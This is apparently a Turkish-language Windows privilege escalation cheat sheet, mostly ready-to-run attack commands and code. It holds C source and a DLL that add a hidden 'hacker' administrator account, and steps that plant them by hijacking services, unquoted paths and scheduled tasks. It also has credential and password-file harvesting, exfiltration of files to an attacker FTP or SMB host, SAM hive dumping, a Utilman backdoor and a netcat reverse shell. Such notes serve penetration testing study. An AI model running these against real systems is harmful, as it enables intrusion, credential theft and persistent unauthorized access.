Windows Privilege Escalation

Sistem Bilgileri

systeminfo # Sistem bilgisi
whoami /all # User bilgileri
whoami /priv # User yetkileri

net user /domain # Domaindeki Kullanıcıları Listeler
net user john /domain # Kullanıcıyı Listeler
net group /domain # Domain Grupları
net group "Sales Department" /domain
net accounts # Hesap Ayarları (Lockout Bilgileri)

Get-LocalUser # Local Kullancılar
Get-LocalGroup # Local Gruplar
Get-LocalGroupMember Administrators # Bir gruptaki kullanıcılar
Get-LocalGroupMember "Remote Desktop Users"
ipconfig /all # Ağ arayüzleri

dir env: # Ortam Değişkenleri

route print # Ağ yönlendirme bilgisi
netstat -ano # Bütün açık portlar
arp -a # ARP Cache Tablosu

# Yüklü uygulamalar
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Get-Process # Çalışan İşlemler

Parola Dosyaları

# KeePass File
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

# Xampp Dosyaları
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

# Kullanıcı Dosyaları
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue
# History
Get-History
type (Get-PSReadLineOption).HistorySavePath
type C:\Users\administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# IIS Dosyaları
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString

# Putty Parolası
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /s

cmdkey /list # Parola Listesi

Dosya Transferi

# Kaliden Hedefe
python -m http.server 80
updog -p 80

iwr -uri 192.168.1.2/winPEASx64.exe -o winPEAS.exe

# Hedeften Kaliye
impacket-smbserver -smb2support share . -username admin -password admin

net use * \\192.168.1.2\share /user:admin admin
copy deneme.txt Z:\


python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://192.168.45.181/file.zip', 'C:\users\joe\Downloads\file.zip')

Winpeas

.\winPEAS.exe

Exploit Suggester

Windows-exploit-suggester: https://github.com/bitsadmin/wesng

# Hedefte
systeminfo

# Localde
python wes.py --update
python wes.py systeminfo.txt

Service Binary Hijacking

Bu yöntemde düzenleme yetkimiz olan bir servis buluyoruz ve istediğimiz komut ile değiştiriyoruz.

# Servisleri ve yollarını listeler
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Servisin yetkilerini listeler
icacls "C:\xampp\mysql\bin\mysqld.exe"
# Eğer bir serviste F(Full Access) varsa yetki yükseltebiliriz
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user hacker password123! /add");
  i = system ("net localgroup administrators hacker /add");
  i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
  
  return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80

# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe # Servisin yedeğini alıyoruz
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe # Kodumuzu servisin yerine koyuyoruz
net stop mysql # Servisi yeniden başlatıyoruz
net start mysql
shutdown /r /t 0 # Eğer servis yeniden başlamıyorsa sistemi reboot ediyoruz
Get-LocalGroupMember administrators # Sisteme artık kendi kullanıcımız ile girebiliriz
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'

Service DLL Hijacking

Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

# Servisleri listeliyoruz
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Process Monitorde Servisler hangi dll dosyalarını çağrıyor inceliyoruz
# Procmon için administrator olmamız gerekiyor
.\Procmon64.exe
# Seçtiğimiz sistemi resetliyoruz ve process monitorde inceliyoruz
Restart-Service BetaService
# Bir servis dll ararken önce kendi dizinine sonra path değişkenindeki yolları arar
$env:path -split ';'
# Eğer servisin bulunduğu dizine veya path içindeki daha başlardaki bir yere kendi dll dosyamızı yazarsak yetki yükseltebiliriz
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user hacker password123! /add");
  	    i = system ("net localgroup administrators hacker /add");
  	    i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
# Localde
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
python -m http.server 80

# Hedefte
iwr -uri http://192.168.1.3/myDLL.dll -Outfile myDLL.dll
Restart-Service BetaService

Unquoted Service Path

# İçinde boşluk olan servisleri bulur
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

# Örnek zafiyetli servis 
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

# Potansiyel saldırı dizinleri
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

# Hangi dizinlere yazma yetkimiz var kontrol ediyoruz
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user hacker password123! /add");
  i = system ("net localgroup administrators hacker /add");
  i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
  
  return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80

# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz

copy .\adduser.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Restart-Service GammaService
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService

Scheduled Tasks

# Zamanlanmış Servislere Bakıyoruz
schtasks /query /fo LIST /v
# Eğer ilginç bir servis var ise yazma yetkimiz var mı diye inceliyoruz
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe


iwr -Uri http://192.168.1.3/adduser.exe -Outfile BackendCacheCleanup.exe
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\

SeImpersonatePrivilege

SeImpersonatePrivilege, bir işlemin başka bir kullanıcının kimliğine bürünmesine izin veren bir Windows ayrıcalığıdır. Bu, hizmetlerin veya uygulamaların farklı kullanıcılar adına işlem yapmasını sağlar.

# Hedef
whoami /priv # Eğer hedefte aşağıdaki yetki var ise deneyebiliriz
SeImpersonatePrivilege Enabled

./PrintSpoofer64.exe -i -c powershell.exe

./GodPotato-NET4.exe -cmd "cmd /c whoami"

SeBackupPrivilege

SeBackupPrivilege, bir kullanıcının veya işlemin sistemdeki tüm dosyaları, dosya izinlerinden bağımsız olarak okumasına olanak tanır. Bu ayrıcalık, genellikle yedekleme yazılımlarının dosya ve dizinlerin yedek kopyalarını oluşturması için kullanılır.

Link: SeBackup

whoami /priv

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege
Get-SeBackupPrivilege

Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite

SeBackup / SeRestore

# Yetkileri listeler
whoami /priv

# Eğer SeBackup/SeRestore yetkimiz varsa parola hashlerini tutan kayıtları kopyalıyoruz.
reg save hklm\system C:\Users\%username%\system.hive
reg save hklm\sam C:\Users\%username%\sam.hive

# Sonrasında kendi makinemizde bu hashleri okuyoruz. Bu hashleri psexec ile kullanabiliriz.
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

SeTakeOwnership

# Yetkileri listeliyoruz
whoami /priv

# Eğer SeTakeOwnership yetkimiz varsa bir dosyanın sahipliğini kendimize alabiliriz.
# Aşağıdaki komutlar ile utilman dosyasını cmd ile değiştiriyoruz.
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant %username%:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

# Bunu yaptıktan sonra giriş ekranında sağ altta bulunan Ease of Access butonu bize yetkili bir shell sağlıyor.

SeImpersonate / SeAssignPrimaryToken

Rogue WinRM: https://github.com/antonioCoco/RogueWinRM

# Yetkileri listeler
whoami /priv

rlwrap nc -lvnp 1234
RogueWinRM.exe -p "nc.exe" -a "-e cmd.exe 192.168.1.2 1234"

Enable Tokens

Eğer token gözüküyorsa fakat disable edilmişse yeniden enable edilebilir.

Link: https://github.com/fashionproof/EnableAllTokenPrivs

.\EnableAllTokenPrivs.ps1
whoami /priv

Last updated